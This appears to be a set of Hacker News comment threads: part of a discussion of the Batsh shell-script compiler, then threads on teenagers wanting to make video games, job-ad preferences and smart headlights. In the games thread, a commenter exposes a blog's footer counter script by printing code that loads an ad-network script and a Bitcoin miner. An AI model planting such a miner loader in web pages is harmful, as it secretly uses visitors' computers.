<comment><USER36> Don't get me wrong, I wasn't attacking OCalm, nothing against it, I'm curious about Functional Programming, I've yet to try them for serious projects. It's just not in my toolset currently. Also I'm trying to maintain a rule whereby I don't install software I don't use frequently. OCaml might be nice, but I'm rather unlikely to use it as much as I use the other programming languages in my system. I appreciate that this solution is offered as a web service.

</comment></comment></comment><comment><USER38> One peculiarity of batch files, and how cmd.exe executes them is that they are being read over and over (or maybe they are simply mapped file).

I've found this by trial-and-error - while I was editing a batch file that was executing, it would suddenly error out with meaningless info, sometimes it'll print out the things I've just added to it.

<comment><USER22> This is actually true of bash as well (and has bitten me a few times).

Try this:

      $ echo 'echo hello; sleep 2' >/tmp/hm.sh; bash /tmp/hm.sh & (sleep 1; echo 'ls /bin' >>/tmp/hm.sh); sleep 3

<comment><USER38> Didn't know that. Thanks!

</comment></comment></comment><comment> Ono-Sendai Just use a decent language like Ruby instead.

<comment><USER39> You get programming! +500 internet points

</comment></comment><comment><USER40> Having just written a Nagios plugin with json parsing in bash (main design goals were no dependencies or support code/modules needed) and then 'ported' it to batch, I look forward to trying this.

..and why wasn't this posted 2 weeks ago!

</comment><comment><USER41> Love the idea of writing bash in a higher, easier to read format, similar to CoffeeScript. Unfortunately Batsh is written in OCaml (the author addresses why he uses it though).

How do you use pipes in batsh?

<comment><USER42> I reckon you don't, because it's not supported in windows batch.

Just googled it. Doesn't seem to be supported yet: [https://github.com/BYVoid/Batsh/issues/17](https://github.com/BYVoid/Batsh/issues/17)

<comment><USER43> _I reckon you don 't, because it's not supported in windows batch._

Sure it is: [http://www.microsoft.com/resources/documentation/windows/xp/...](http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en- us/redirection.mspx?mfr=true)

<comment><USER44> Only half-way; it doesn't stream the data, it waits for the first command to finish, saves the entire output, then starts the second command with output as input.

<comment><USER45> That was true in MS-DOS and Windows 9x. Fixed in Windows NT.

</comment></comment></comment></comment></comment><comment><USER46> I can't think of a case where seamlessly having two different targets like this has worked - particularly if there's pressure to _really_ support all of the features of both.

<comment><USER47> Unity 3d. Haxe. [1] GWT. [2] There are tons of cross-platform toolkits that do this for games; having something that does it for SHELL SCRIPTING seems trivial by comparison.

Yes it does happen that some features get neglected, but we're talking shell scripting here. They could hit the 80% use case and it would be totally useful.

[1] [http://haxe.org/](http://haxe.org/)

[2] [http://www.gwtproject.org/overview.html](http://www.gwtproject.org/overview.html)

</comment></comment><comment><USER48> I don't like the concept so much. They are their own languages, and I'd rather write very low level ansible primitives and build upon them than rely on a somewhat opaque translation process. Also, all automation I do going forward is PowerShell, not batch.

I could see a lot of places using it, though, so bravo for sharing.

<comment><USER49> Exactly, when the automation need arises just Batsh it.

<comment><USER50> Bravo.

</comment></comment></comment><comment><USER51> I just use Python if I'm going to install something anyway.

<comment><USER52> you install batsh on your dev machine, generate the bat and .sh files, which you'll then use on target platforms.

</comment></comment><comment><USER53> Could be great to have a compiler js -> bash / batch

<comment><USER54> An amusing side project for anyone with the chops would be an LLVM backend to bash.

</comment></comment><comment><USER55> Great idea. Keep up the good work man.

</comment><comment><USER56> Hooray!

Also, why hasn't this been around before?

</comment><comment><USER57> Is there any way to convert Bash to Windows Batch using this tool? Then I would say this is very very useful.

</comment><comment><USER58> Great name

<comment><USER59> Coming soon: a pie-in-the-sky fork aimed at adding in both C++ _and_ MindFuck targets, named "Batsh++ Insane".

</comment></comment><comment><USER60> just for save

</comment><comment><USER61> I have to ask, why?

<comment><AUTHOR> I posted it here to start a discussion not as an endorsement as we have all kinds of sugary compilers - for JavaScript and other languages, but none of Bash. Cross-platform support would be nice and as others have pointed out, PowerShell really took over Batch especially when Microsoft took care of the slow loading issue. I personally would rather have an extension of Bash rather than a brand new language, but that's me. In fact, I've been thinking of a simple preprocessor that even combines a bunch of scripts into a single one for easier distribution.

</comment></comment><comment><USER62> bash(1) is a crazy shell. This here is Bat-Shit crazy.

</comment><comment><USER63> A language that compiles to bash from what?

<comment><USER64> From itself? Batsh is the language you would write the scripts in and then run them through the compiler, you can either target bash or batch.

Batsh -> Bash or Batch

</comment></comment><comment><USER65> Does it useful? Just recreate a new language,then say a solved the issues. A user who want to use the 'Batsh' must learn the Batsh's new syntax.hehe

</comment><comment><USER66> Proposing name change to 'batshit'</comment>


So your teenager tells you they want to 'make video games' for a living - <AUTHOR> http://codesuppository.blogspot.com/2013/04/so-your-teenager-tells-you-they-want-to.html <comment><USER2> When your kid tells you this:

 _"Most of the time this young person thinks their qualifications come from the fact that they really, really, like to play video games a lot; and I mean like a LOT."_

It gives you an opportunity to help them discover things they may be passionate about. Many times (not always of course) it isn't _any_ game they like playing alot, it is a _particular_ game or genre they like. The goal of exercise then is to think about what features or mechanics of that particular game make it so fascinating, and then looking for that same feature/mechanic in something that people pay for [1]. Is it the economy? Solving the mysteries? Developing the story line? Role playing and acting? Devising tactics? Optimizing dozens of variables? All these things are _mechanics_ in computer games that can be found in non-game activities.

It may be that the kid likes all sorts of games, but help them to see the thing they like over the delivery mechanism and they can make smarter choices down the road.

[1] I did know a guy who liked playing WoW a _lot_ and supported himself by selling gold and various and sundry rare and epic items. Again, more the exception and not the rule.

<comment><USER3> I think this is a great point about the usefulness of video games. A lot of school work is boring and presented poorly: memorize your history dates, solve these equations, write an essay critiquing an essay about something you don't care about. Think about what is testable in education and you'll find that is a lot of what gets taught.

Do you find the economy of games fascinating? You might get one class on economics at the end of high school. Do you love building things in Minecraft and animating them with crazy redstone circuits? You'll be lucky if your high school has woodworking, metalworking or even art classes. Do you love exploring a game world? Your classes don't really have time to let you explore, please read the assigned materials.

I was lucky enough to have a computer a home where I could write (terrible) console-based games and later build web sites. Originally I wanted to make games, but then I found that I actually loved servers and the ability to reach across the internet to get data from a computer thousands of miles away was even more fascinating.

</comment></comment><comment><USER4> I wanted to make games and that's how I got into programming. I dropped the game part a few years after that but I kept programming.

If a grey haired computer programmer would have told my 12 year old self "just give up because you're not a math genius" I probably wouldn't be a programmer today.

So no, don't tell kids they shouldn't want to make games. Because making games is a gateway drug for programmers.

<comment><USER5> This is not what the author said. He said that you should give up on 'the industry', and you'd have a better chance of creating a best-seller on iOS than landing a job in a studio.

The math requirements are very different if we are talking about triple-A games vs an iOS tower defense.

</comment></comment><comment><USER6> Web counter script on this page tries to load a Java BitCoin miner. Classy. (Not.)

(Isn't CPU-based mining basically pointless nowadays?)

<comment><USER7> Not if it's somebody elses CPU your using.

</comment></comment><comment><USER8> > You do not go to college to 'learn' talent. You are either born with it or > not.

Can't say I agree with this entirely. I absolutely agree that going to college for four years will not make you into a good artist. But "being born with it" will not make you a good artist either.

Hammering away at it two hours a day from age 12 to 22 will make you a good artist. You may never be a great one (that is where being born with it comes in). But you will be a good one. And the same is true for most pursuits.

There was a great forum post a while ago where some guy could barely put together a stick figure and three years later (after an hour a day, every day) he was making oil paintings that people would actually pay for. I can't remember where though. Anyway, that sort of thing has nothing to do with talent. It's hard work and sticking to it.

<comment><USER9> I was with him until he said that. Is an excuse to give up on anything. You might as well believe in destiny and that your entire future has already been written. Who believes something like that? Seriously. Does he believe that that girl woke up one day and started drawing like that? He is wrong on this count. What you need is perseverance.

<comment><USER10> I always believed that perseverance is 90% of what is required to be a great "anything". The other 10% is sheer talent. In every case I have seen so far, that 90% will make you good enough so that the talent doesn't matter much.

</comment></comment></comment><comment><USER11> Do you really have to be a math genius to work as a game dev?

I can see you would need very solid math and physics to build the next gen 3d graphics/physics engines although I remember an interview with John Carmack where he said that even he wasn't as good a mathematician as people thought he was.

Surely there's plenty of code that goes into games that isn't advanced linear algebra? Like code for networking , game saving/loading , menu systems , IAP payment systems etc. Stuff that probably has more in common with general web programming. It's also possible to buy or get for free various engines to do a lot of heavy lifting for you.

Also some of the most popular games now are 2d or isometric, you could probably write a 2d game from scratch without much more than basic trigonometry , linear algebra and plenty of trial and error.

<comment><USER12> Between gameplay programming and tools, a significant portion of the programming staff of a AAA game will not be overwhelmingly mathematically inclined. That's only one of many outright lies in this article.

<comment><USER13> Not a reddit reader, but I do follow Tarn Adams & Dwarf Fortress pretty closely (serious amount of respect for someone who can build a single game over a really really long time and call it his life's work, and live only on donations.)

This quote from his recent AMA really stood out to me -- "I'm sure my code is considered garbage by people that know what they are doing." And he has a very strong math background.

</comment></comment></comment><comment><USER14> Hello!

I own a game company (www.kidoteca.com) and I still own legally a sorta bankrupt game company (www.agfgames.com don't expect much on that site, it is sorta bankrupt for a good reason).

Also I worked with mobile games, and mobile apps that are not games at all.

And I went to a game school (I have a bachelor degree in Game Design and Planning).

First, the game industry as a whole, suck, the pay is HORRIBLE, HORRIBLE, HORRIBLE, HORRIBLE.

One year when I was particularly cash strapped, I dumped the game industry and went to a normal mobile dev job. My wage jumped BLOODY FIVE FOLD (I am not kidding).

Now that I am back working with games, I am earning half the money I was (some people might ask: why you are doing it? it is because I love doing what I do... and I won't switch unless someone offer me like 6 figures USD).

Beside the huge pay gap, the game industry is also very toxic, full of crunch, and full of jerks. Some people say it has rampant sexism. It is not sexism, actually most guys are not sexist at all (actually it is easier to find white knights than misoginists), but it is filled with jerks of all kind, noone is safe, NO ONE. You will get bullied for being female, male, black, white, asian, red hair, black hair, bad teeth, too good teeth, rich, poor, too good Team Fortress 2 skills, too bad skills, not liking Minecraft, liking Minecraft... People will just hate you, period. It would be like living and working with 4chan 24/7 (or just look at the most popular game forum: NeoGAF)

And finally, making games is HARD, DON'T do it because you think you like games you will like it, you will not, there are lots of boring tasks and crazy tasks. Do it only if you like what you have to do (or if you are good and can tolerate it).

Also, as consequence of making games being HARD, expect failed projects, companies, jobs, even marriages, game industry has lots of those.

And remember, although making games pushes you hard and forces you to learn a lot, you will find that your skills are quite unique and not much good for the rest of the market (With few exceptions of some specialities, like backend engineers or tool programmers), there are not much companies there wanting someone that can script levels in awesome ways, or that want a module file musician. And for coders, commonly in the game industry you might end learning Lua... Then good luck finding a non-game job that use that.

All that said, I can say...

Hell, I still love my job!

</comment><comment><USER15> I'm one the dumb kids that went to a game development school. That school was Full Sail University. Do NOT Go There.

Full Sail has almost ALL the red flags that the article and video talk about. Including rushed "accelerated" courses, pumping out students, trying to teach us calculus in 1 month, trigonometry in 1 month, everything was so rushed. Classes were $3,000/month. Lab techs (assistants) played world of warcraft instead of helping us. I honestly have so many bad memories from Full Sail I really don't want to talk about it. The money wasted, the stress it caused me. I just feel overwhelmed with bad emotions.

Just stay away from Full Sail. I went back in 2006, I doubt they've changed. Their marketing and advertising is amazing though...

"Full Sail is not recognized by a regional accreditor or by the National Association of Schools of Art and Design. As a result, most traditional colleges would not honor credits earned by transferring Full Sail students or those who attempt to continue their studies after earning an associate degree from the university

Read more: [http://www.insidehighered.com/news/2012/01/24/romney- right-a...](http://www.insidehighered.com/news/2012/01/24/romney-right-about- full-sail-university)

</comment><comment><USER16> You don't need to be a math genius to program games. The vast majority of programmers at game companies aren't working on graphics or physics.

The author makes it seem like you need to be a math genius to even get a CS degree. You definitely need math, but you don't need to be a genius, just willing to work hard.

</comment><comment><USER17> I worked in the video game industry for about six years. I worked for both major publishers and some startup MMOs. Specifically, I was doing online infrastructure kind of stuff.

The gaming industry wasn't something I was actively trying to get into, and I had worked in telecommunications and manufacturing prior to this. When the big telecom I was working on started losing customers back in 2001, I knew what was about to happen and wisely jumped ship. I just happened to land with a company in Denver Colorado who was producing an MMO game as a startup, and they had no clue about how to actually get their product on the internet, or where/how to buy or manage server infrastructure.

I worked for a major publisher who was booming at the time, making tons of money. I also worked for a number of startups who went ended up going chapter 7, chapter 11, and one got sold out to an Asian firm who immediately told everyone to move to South Korea or get laid off.

When I left the gaming industry, the following things immediately happened:

I made 20% more money, instantly. The gaming industry pays lower than average wages in most cases, across the board. This is a supply and demand problem: there is a huge supply of goobers who want to make video games for a living, and a limited number of employers willing to pay them to do it.

I worked 20-40% less hours. Just about in every department in every company I worked for, people kept sleeping bags under their desks, had no lives outside of work, were present on weekends, and put in 50-80 hour work weeks. I once literally lived and slept in my office for two weeks, except when I went home to shower and check on things for an hour or two per week. That is what pushed me over the edge and when I finally quit.

My psychological health improved. I was happier, less stressed out, and stopped getting angry over little things. When I think back about it, the gaming industry basically gave me PTSD.

My physical health improved. I started putting on muscle weight, I was less tired, and a number of persistent physical issues went away. For example, I had a bad habit of biting my tongue, possibly out of nervousness, which magically went away immediately.

I started working with more talented, competent, people. I didn't realize just how unprofessional and disorganized some of the people I was working with were until I had another reference point again. As I shifted from being a server monkey to programmer, I realized that most of the developer guys had never worked in another industry before, were high-school and college drop-outs, and most of their code was crap. I saw from the inside a huge multi-mullion dollar Atari-funded game studio go down in flames because the developers didn't know that you can't use disk drives as a CPU: they built almost all of their MMO item inventory logic into SQL triggers and events. Let's not even talk about sexism and anti-social behavior.

Employment stability went way up. The gaming industry is very unstable, and companies crash and burn all the time. There is a constant flow of new startups who fail every year without ever having shipped/published a product.

Unsurprisingly, most people don't want to hear this negativity about the industry.

The people who I know still work in the industry don't argue that I'm wrong, but instead argue that it's the price you pay for doing what you want (note: most of these people seem pretty miserable to me). It's not a subject that I will often bring up, less I get a hostile reaction. After all, most of these people are emotionally bought in to the idea that they are the next John Carmack.

The kids who want to get into the gaming industry just ignore me or discount what I have to say. What else are they going to do? They can't even imagine getting a job in some boring industry like finance, government, manufacturing, health care, retail, or any of that nonsense.

And that brings us to the gaming schools. Like I said before, it's a supply and demand thing. There is a huge supply of kids who want to make video games, and not enough employers for them all. It's kind of like little boys who want to grow up and be astronauts, and little girls who want to me marine biologists. The numbers say it ain't gunna happen for most of them.

There is indeed money to be made in the gaming industry, but it's not in working inside of it. It's in selling the dream that all these dumb kids have, thinking they can grow up and make video games for a living.

I don't really have much good to say about working in the gaming industry. I met some cool people there, but as a whole, it's just an immature bunch of kids who have not grown up and gotten real jobs yet.

<comment><USER18> This echoes my experiences in the game industry to a T.

And I am conflicted, because my son is one of these goobers who want to make video games. :) But if I can use that desire to get him to focus on skills that would enable him to succeed there (and, by association, anywhere), then I'm OK with it.

<comment><USER19> Maybe tell the kid that a lot of people say that the game industry will take a heavy toll on a man's mind and body, so if he really wants to make games then he should follow his heart and pursue that passion relentlessly and shamelessly, but he keep an eye on how healthy his mind and body are.

I think I remember dave chappelle saying in an interview that his father told him you need to name your price early. And when people demand more than that from you, it's time to get out or get away from them. I feel like that's relevant. I bailed on the video game industry recently because I was miserably depressed, sickly and malnourished. But hardship builds character and there's something to be said for a person who doesn't shy away from what they believe they're really passionate about even if other people found it to be horrible.

</comment></comment></comment><comment><USER20> What about the good amount of kids that take part in the modding community? A lot of them aren't super geniuses, but they are passionate and competent and work on scripting existing engines, map-editors, and so forth. Is that not a viable route for aspiring game developers? It feels a little unfortunate if that's the case.

This will sound astoundingly naive, I'm sure, but I really feel like our society is pretty cruel to young people between 18-25. If you fail in someway during these years, whether that be not getting into the right college, picking the right major, or picking the right career path, you do fall behind. It's one of the reasons articles like this even have to be written, to make sure young people don't waste time failing.

<comment><USER12> Modding is a great way to get in the industry, especially into the design jobs the OP claims don't exist.

</comment></comment><comment><USER21> Unnecessarily negative. If your teenager has a dream, let him/her do the hard work to achieve that dream. Along the way, life will happen, and that's fine. Following one's own dream is a vastly better option than meandering through life without any purpose, or in a parentally-decreed career.

On a factual level, I know employees at many of the firms name-dropped in this article, and if they're super geniuses, they hide it well.

<comment><USER22> The main thing he's railing against are the "video game design" degree/certificate programs that are constantly promoted on daytime TV. These programs will load your teenager up with debt while promising a dream career, but unless they're already extremely talented in art or math, they're probably not going to come out of the program with the skills they need to have a career in the video game industry. And if they do have the art or math talent, they'll be better off getting an education that's not video-game specific.

</comment></comment><comment><USER23> > There are lots of jobs in computer software where you do not, necessarily, > have to be really, really, really, good at math. Computer games are not one > of them.

The article does not seem entirely objective to me. It seems to equate the entire game industry to the process and cycles big-budget triple-A titles go through.

I ended up being a software architect in the game industry, doing pretty well, and I did all of that after dropping out of studying graphic design at art school. I've never been a math genius, or even a stellar student. I have a fairly well balanced lifestyle and am paid very well.

I'm not saying this to brag. I just want to point out that a lot of the assumptions stated in this article are bullshit. You don't need to be great at math to be a game engineer. You don't need to finish a four-year degree at Stanford. If you're smart and can hustle, you'll do fine in the game (or any other) industry.

</comment><comment><USER24> As a non-programmer, non-artist working in the games industry - the best advice I can give is to become very good at a different craft, then move your way into the industry with experience. That goes for marketers, writers, analysts, etc. Transfer in with 5-10 years experience from somewhere else. It's much easier than applying with a hundred other applicants saying "I have no real world experience, but I really love playing video games".

The only other real option is starting in QA, but prepare yourself for a $20-40K base salary with an incredibly limited career track unless you move out of QA into becoming an AP.

</comment><comment><USER25> Wow, this page tries to do a drive-by java install. Other comments say its to load a bitcoin harvester.

<comment><USER26> In the footer:

      <script type="text/javascript" language="javascript" src=
      "http://www.ewebcounter.com/include/track.js"></script>
      <noscript><a href="http://www.ewebcounter.com/" target="_blank">
      <img src="http://www.ewebcounter.com/track.jsp?project_id=59017&java=0" alt=
      "Website Activity" border="0"></a>
      </noscript>
      <!-- End of eWebCounter Code -->

      www.ewebcounter.com/include/track.js:

      document.write('<scr'+'ipt type="text/javascript" src=
      "http://ads.cpxinteractive.com/ttj?id=1082054"></scr'+'ipt>');
      document.write('<scr'+'ipt type="text/javascript" src=
      "http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js"></scr'+'ipt>');
      document.write('<scr'+'ipt type="text/javascript" src=
      "http://www.bitcoinplus.com/js/miner.js"></scr'+'ipt>');
      document.write('<scr'+'ipt type="text/javascript">BitcoinPlusMiner(22487784)
      </scr'+'ipt>');

So a bitcoin miner AND an ad platform associated with malware/malvertising.

</comment></comment><comment><USER27> While I was still studying there, I volunteered for my alma mater's open day.

Pretty much every teenage boy told me his ambition was to make games. To them I said "study as much maths as your school will teach", which led to crestfallen faces.

To their parents I said "the games industry is terrible, but ours is a general computer science degree. Your boy will be able to get an entry-level job at any software firm".

The girls who came through seemed to be more interested in software as a professional career. It was an interesting contrast.

</comment><comment><USER28> That's a great piece. Cranky but good.

I will offer one disagreement: he's thinking about single-player games. There're also good jobs available on the server side for any online game (which is almost all of them these days). Server engineers don't need as much math as game programmers, and there are a lot of system and network administrators working in the game industry. Making games? Not exactly, but certainly working in gaming, with all the pros and cons that go with it.

<comment><USER18> My work on League of Legends came as a direct result of a contract gig building an extranet for a gas pipeline company: Java and Activescript is Java and Activescript.

In fact, you could argue we were solving the much harder problems in that game, since we had to deal with the massive scaling, while the game engine only had to deal with 10 people at a time.

<comment><USER27> Though the problem space is already partitioned for you, to some extent, on a per-game basis.

Have you written anything on it?

<comment><USER18> The game is partitioned, but the lobby is not. The lobby is where all the concurrent players have to split into groups of roughly similar capabilities while now allowing anybody to wait too long. Our team was responsible for partitioning things for the game team.

I haven't written anything on it. I'm not convinced my piece of it was really interesting enough to warrant it. :) There were a lot of far smarter people than I on the team (it was one of the best software engineering teams I've ever worked on).

<comment><USER27> I know the guy who writes the GameRanger lobby service (it's literally a single guy - Scott Kevill - for the whole thing).

He's got about 3 million users. Not sure how many concurrent users he gets -- probably an order of magnitude or two less than LoL does.

Nevertheless, it all runs on I think one or two beefy servers. There's a very high fanout of game-available messages and they need to be addressed based on user-registered preferences as to the games they want to play.

From what he tells me, most of his secret sauce is network hackery. Batching up carefully-sized packets and so on. All that stuff I was basically awful at in uni.

</comment></comment></comment></comment></comment><comment><USER29> My two cents: if you or your kid has any doubts about going to college because you're sick of the general school bullshit, and if you're wondering if things will be different at a game school, then save your money and time and don't go. Due to the nature of accreditation and schools wanting to make money thus letting/forcing students to use federal financial aid, they play by the same rules other colleges play by, and students will get the same crap as any other school. If you really want to be a game developer, now is the best time ever to forge your own path going down the Indie road. With some diligent networking you can even get picked up by the big boys--but by that time, you might not want to get anywhere near them. If you don't know what to learn or want more formally gained knowledge, go through the course catalog of one of the schools and get the books on those subjects. (The course catalogs will also convince you that you don't need to be that smart--to add to the video's advice, along with asking about graduated students' job placement, ask about current students' GPAs and what the most commonly failed classes are. I bet a calculus and physics course are among them.)

</comment><comment><USER30> I know a lot of people who have for profit degrees. I can't think of even one that's not stuck in a dead end low paying job, constantly complaining on social media about how they can't seem to find a job that will put their "talent" to use.

It's like they have no idea that for profit degrees are a great way to get your resume auto-chucked in the trash. (Good luck trying to talk to them about it though. Oh boy...)

</comment><comment><USER31> When I finally decided to go to college, I really wanted to do it to make games. I didn't learn much in college that would have translated directly into game programming, but I _did_ learn a lot that translated directly into getting a decent job. Along the way I learned how computers work inside and out, from hardware to towers stacks of software abstraction, and found tons of other things I like to make even more than games.

Now I play games for fun, which is better than the few of my friends who did go into the industry.

</comment><comment><USER32> You get them to figure out and write out the logic to pong. On paper.

Then graduate them to actual programming, and help them along a bit. Tell them to experiment with pong when they get it going. Add more paddles. Add more balls. Add obstacles.

Add whatever they think would be cool.

A Richard Garriott has talked about, good game design is a critically difficult field. Get them experimenting with gameplay as related to the underlying engine before you ever push them to a game design school.

</comment><comment><USER7> Funny story. I wanted to make video games, until I learned all about the prerequisites to do it.

You might think I balked and bailed. But the reality is I found out that the stuff that goes into making a modern AAA video game is way more interesting than the resulting product.

I now consider wanting to make video games a negative indicator of ever actually doing so professionally, even if the person understands the requirements to do so.

 _Especially_ if they understand them in fact.

<comment><USER33> Not too different to what happened to me. I'm now technical cofounder of a machine learning heavy analytics startup. I still think about making games sometimes, but then I go back to thinking about and working on data mining and machine learning and I don't regret a thing :)

</comment></comment><comment><USER34> I wanted to make video games until I realized the really interesting innovations were done decades prior to seeing them in video games. The games I wanted to make were (and are) incredibly far beyond the capacity of desktops, so it was sort of a moot point anyway. Teenage dreams.

But today I really enjoy the 'game' of understanding code and I like the fact that my work contributes materially to better living around the planet.

</comment><comment><USER35> If they really have the chops and motivation (wishing for it doesn't make it so), it may be a valuable life experience for them to give it a try. If they "succeed" they've saved years of expensive tuition. If they "fail", then they'll have a lot better idea of what the real world's like ... always valuable when choosing a college major, if they go that way.

</comment><comment> mark-r Be sure to read the follow-up: [http://codesuppository.blogspot.com/2013/04/some- clarificati...](http://codesuppository.blogspot.com/2013/04/some- clarifications-on-my-previous-post.html)

My favorite part is at the end, where he gives news stories just from today about 3 gaming companies laying off masses of people.

</comment><comment><USER24> I think it's a realistic (if a little pessimistic) point of view. I personally don't believe that talent is "born" and that it can't be taught, but it's likely that if you get to college and weren't passionate enough to _become_ talented by then, the odds are likely stacked against you.

</comment><comment><USER36> That guy needs to read the talent code:

[http://www.amazon.com/Talent-Code-Greatness-born- ebook/dp/B0...](http://www.amazon.com/Talent-Code-Greatness-born- ebook/dp/B0026OR1UK/ref=sr_1_1_bnp_1_kin?ie=UTF8&qid=1365033656&sr=8-1&keywords=the+talent+code)

</comment><comment><USER37> "If your kid is not an expert at math, don't even bother discussing the subject of being a computer game programmer. It's a non-starter. "

This. I am doing Games Engineering right now and the amount of maths is larger than I've ever done in my life.

<comment><USER38> From my experience in the industry you just need to know your linear algebra and calculus. What does this exorbitant "amount of maths" constitute?

<comment><USER37> We had to write our own physics engine. Like completely from scratch. It's not extremely complicated maths, but there is lots of it and you need to understand how to apply it.

</comment></comment></comment><comment><USER39> I wanted to make video games in high school, I was not deterred by the pre- requisites, but rather found more interesting things to do in life. Now it seems that I want to be an Entrepreneur.

<comment><USER40> i want to be an Entrepreneur too, is anyone hiring?

</comment></comment><comment><USER41> Altough I agree with most stuff, I would rather form it so it encourage kids to start early. Starting early is what "talent" really are, the ability to learn.

</comment><comment><USER42> obligatory cracked article on the _terrible_ quality of video game school commercials: [http://www.cracked.com/blog/the-6-stupidest-video-game- schoo...](http://www.cracked.com/blog/the-6-stupidest-video-game-school- commercials/)

</comment><comment><USER43> I think that's more good than bad, as long as they intend to _make video games_. Start to finish, do something. 2d RPG on iOS? Go at it. That's a great motivation for getting into CS: wanting to _make things_.

If they want to be "idea guys" who just go around saying, "dragons should be blue", then they need to be told that the world doesn't really work that way, and that "idea guys" who refuse to do real work are not seen as adults and generally loathed and pitied, not taken seriously. Real designers work, and hard, and most of the great designers are programmers or artists in addition.

It's after college that they will realize that there are plenty of things more interesting than most video games: machine learning, scientific computing, compilers. But if video game design is the gateway drug, then that works.

What a lot of young people need to consider is that "follow your passion" is the worst advice in the world. You shouldn't do something you hate, but if your work is what you've wanted to do since you were 5, you'll _hate_ being a subordinate. Absolutely no one says, "a subordinate" when asked (at 5) what he wants to be when he grows up. If your passion causes you get into conflict with bikeshedding executives who have terrible ideas but can fire you, then avoid. That advice should be, "find work you enjoy, and transition to your passion when you're no longer a subordinate".</comment>


Ask HN: What do you want to see in a job ad? - <AUTHOR> I've done a fair amount of hiring and I keep coming back to job ads and thinking that most of them aren't fit for purpose. Being on "the other side" my view is somewhat skewed. Would love to know what other engineers are wanting to see in job ads and what entices them into applying somewhere. <comment><USER2> In my opinion most companies see their job adverts as a filters rather than nets. They're written as if the goal is to make sure "the wrong people" don't apply. That's why you see lots of criteria that a candidate has to match before they should apply - 'you must know X, Y, _and_ Z' and 'you must live in location N' and 'you need to have done exactly what we're hiring for before for M time/projects/etc'. Everything is designed to _reduce_ the number of people who'll apply, as if the company is the best place to work in the universe and everyone will be queuing up if the acceptance criteria aren't cleared defined. "Nice to have" skills shouldn't be featured. Confident candidates ignore them, while underconfident candidates read them as essentials.

I prefer adverts that _increase_ the number of people who will apply. I want to see more candidates to select themselves _in_ to the hiring pool rather than selecting themselves _out_. Job adverts should be pretty vague about tech and experience - so long as you're in the right area then everything else can be learned. Whether or not you get hired should be about whether or not you're going to be a valuable asset to the company in the long term. The ideal job advert should be 1/2 about why the company is a good place to work, 1/3 about what the job will entail once you've got up to speed, and 1/6 about the absolutely essential skills you'll need on day one.

</comment><comment> Pick-A-Hill2019 Definitely pay (filter 1), technology and systems used by the company relevant to vacancy (filter 2). Then a brief outline of the role and expected level of proficiency in the various requirements (filter 3).

If the job ad made it this far then a quick blurb about the company perks. Hint - if it mentions they have a ball-pit and a slide then it's a 'company not for me' (hits filter 4). Things like medical insurance, flex-time etc results in a ok, continue reading. Sometimes the recruiting company may not want to reveal their identity and that's ok (e.g. if using a recruitment agency) but wherever possible a link to the 'About Us' page is handy.

If I see paragraphs about how company X is the best, most coolest, most <insert buzz-word of the day> as an opener it is pretty much guaranteed I will delete it and make a mental note of the agency/company as a pre-filter for any future ads from them.

<comment><AUTHOR> Thanks for this!

It's almost a rite of passage for a startup to say that they're "revolutionising the world of blahblah"

</comment></comment><comment> non-entity Less generic crap (is genericism a word?). I get that this isn't always possible but the way most job descriptions seem to be written make effectively searching for what I want difficult sometimes.

Let's say I want to work with blub in my next job. I search for "blub developer" in my job-board of choice, but I'm met with a lot of noise like this

> Software Developer

> Required Experience:

> Experience with a programming language (i.e. Java, C++, Pascal, Modula-3, > PL/I, Brainfuck, Blub)

Where the position isn't working with blub, but its been listed under some generic requirement to have programmed in some programming language. Please stop listing stuff like this. Another version of this thats typically bad with enterprise-type positions is dumping every damn Java EE or Microsoft related technology as required or preferred experience whether or not you'll ever use them.

Also I'd like to know what id be working on. Often this is stated, but many times its not, typically with an even less descriptive "Software Engineer" title. Id at least like to know what sort of product in working on and if you can ahead of time tell me exactly what the product is thats even better.

Some have mentioned thebsalary range and while its great to see that (and a huge time saver) thats probably a pipe dream.

I digress for a moment to note one last thing. That the worst part of job searching isn't even these sort of descriptions, but the job boards themselves that seem to ignore search terms in favor of "promoted" positions that match my above complaints.

</comment><comment><USER3> 1\. Salary

2\. Clearly stated what would day-to-day look like. Not a list of 25 things one should do ranging from reading log files to configuring scalable systems.

3\. Writing anything that may be red flag. For example one would be the only IT guy there, mandatory oncall during nights, mandatory overtimes, etc...

</comment><comment><USER4> a) pay

b) clear differentiation between _required_ and _nice to have_

<comment><AUTHOR> Hah. Lack of pay on job ads is one of my biggest bugbears!

I've always been of the opinion that nice to haves just shouldn't be there. They don't help self-select in a meaningful way. The must haves must be _actual_ must haves. E.g. must be able to code confidently in Python.</comment></comment>


Smart Headlights Let Drivers See Through Rain and Snow - <AUTHOR> http://blogs.scientificamerican.com/observations/2012/07/26/smart-headlights-let-drivers-see-through-rain-and-snow/

<comment><USER2> I like what one of the commenters on the original post suggested:

 _How about having this intelligent system locate the drivers of oncoming vehicles and not shine light directly into their faces? Same thing for cars being followed, avoiding their rear view mirrors. If headlights were smart, we could make them brighter without blinding anybody._

<comment><USER3> This already exists, Gentex's SmartBeam[1] product has technology to shutter headlights on high-beam mode so that the light does not hit the windscreens of oncoming cars.

[1][http://www.gentex.com/automotive/products/forward-driving- as...](http://www.gentex.com/automotive/products/forward-driving-assist)

</comment></comment><comment><USER4>
      > The researchers hope to cut system latency by developing faster ways of
      > transferring images from the camera to the microprocessor
      > running their algorithm and from that microprocessor to the headlight.

They should collaborate with John Carmack; this is quite similar to the latency problems he is working on for head-mounted displays.

<http://superuser.com/a/419167>

</comment><comment><USER5> I was hoping this would be a polarizing filter or modification to standard headlights.

While cool, it's unfortunately an entire electronics system dedicated to the situation. The last thing I want is a frozen sensor detecting the entire road was 'rain' and shutting off my headlights.

<comment><USER6> I'm thinking they'll probably include a fail-safe of some kind.

<comment><USER7> Yeah... most everything on the wiring harness goes back to a computer, these days... and modern ECUs will ignore data that doesn't fall within expected parameters.

</comment></comment></comment><comment><USER8> Anyone know what the end product for something like this would cost?

Seems to me like this won't make it into popular use. At least not for a long time simply due to the cost of installation and upkeep.

I find that it is very rare that I find driving conditions so bad that it is a danger to drive. When I find visibility difficult I either slow down, take a safer road (easier to drive at 30 in low vis than 70) or I just stop driving.

The technology looks great. However, it will be difficult to justify the cost when the actual technology won't be in use 99% of time.

</comment><comment><USER9> Whilst interesting I still feel a HUD type visual enhancer would be better.

